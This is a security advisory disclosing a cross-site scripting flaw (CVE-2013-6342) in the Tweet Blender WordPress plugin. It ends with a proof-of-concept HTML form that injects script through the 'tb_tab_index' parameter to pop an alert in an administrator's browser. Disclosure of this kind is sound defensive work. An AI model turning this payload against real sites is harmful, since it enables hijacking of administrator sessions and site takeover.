Advisory Details:
High-Tech Bridge Security Research Lab discovered vulnerability in Tweet
Blender Wordpress Plugin, which can be exploited to perform Cross-Site
Scripting (XSS) attacks.
1) Cross-Site Scripting (XSS) in Tweet Blender Wordpress Plugin: CVE-2013-6342
1.1 The vulnerability exists due to insufficient sanitisation of user-supplied
data in "tb_tab_index" HTTP POST parameter passed to
"/wp-admin/options-general.php" script. A remote attacker can trick a
logged-in administrator to open a specially crafted link and execute arbitrary
HTML and script code in browser in context of the vulnerable website.
The exploitation example below uses the "alert()" JavaScript function
to display "imuniweb" word:
<form action="http://[host]/wp-admin/options-general.php?page=tweet-blender/admin-page.php"
method="post" name="main">
<input type="hidden" name="tb_tab_index"
value='</script><script>alert("immuniweb");</script>'>
<input type="submit" id="btn">
</form>
